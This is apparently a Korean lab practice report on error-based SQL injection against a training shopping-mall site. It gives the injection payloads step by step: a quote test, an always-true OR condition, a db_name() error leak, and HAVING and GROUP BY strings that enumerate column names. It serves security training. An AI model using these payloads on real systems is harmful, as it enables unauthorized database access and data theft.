실습평가

쿼리문의 구조를 변경할 수 있는 a' 를 입력하여 인젝션 가능 여부 확인

select * from table where column like '%a'%' 형식의 쿼리가 실행되고 있는 것을 유추할 수 있음

 

항상 참이 되는 형식의 쿼리를 만드는 입력값을 전달했을 때 테이블의 모든 데이터가 출력되는 것을 확인 

select * from table where column like '%a' or 'a' = 'a' --%'

 

DB 명 확인 : a' and db_name() > 1 -- 

오류 메시지에 DB명(oyesmall)이 출력되는 것을 확인

 

테이블명과 컬럼명 확인 : a' having 1 = 1 --

 

컬럼명 확인 : a' group by num --

 

컬럼명 확인 : a' group by num, g_code --

 

컬럼명 확인 : a' group by num, g_code, g_name --

 

컬럼명 확인 : a' group by num, g_code, g_name, g_com --

 

컬럼명 확인 : a' group by num, g_code, g_name, g_com, or_p --

 

컬럼명 확인 : a' group by num, g_code, g_name, g_com, or_p, Weekly_Best --

 

컬럼명 확인 : a' group by num, g_code, g_name, g_com, or_p, Weekly_Best, color --

 

컬럼명 확인 : a' group by num, g_code, g_name, g_com, or_p, Weekly_Best, color, t_choice --

컬럼명 확인 : a' group by num, g_code, g_name, g_com, or_p, Weekly_Best, color, t_choice, g_row --

컬럼명 확인 : a' group by num, g_code, g_name, g_com, or_p, Weekly_Best, color, t_choice, g_row, g_wid --

컬럼명 확인 : a' group by num, g_code, g_name, g_com, or_p, Weekly_Best, color, t_choice, g_row, g_wid, point --

컬럼명 확인 : a' group by num, g_code, g_name, g_com, or_p, Weekly_Best, color, t_choice, g_row, g_wid, point, ea --

컬럼명 확인 : a' group by num, g_code, g_name, g_com, or_p, Weekly_Best, color, t_choice, g_row, g_wid, point, ea, photo --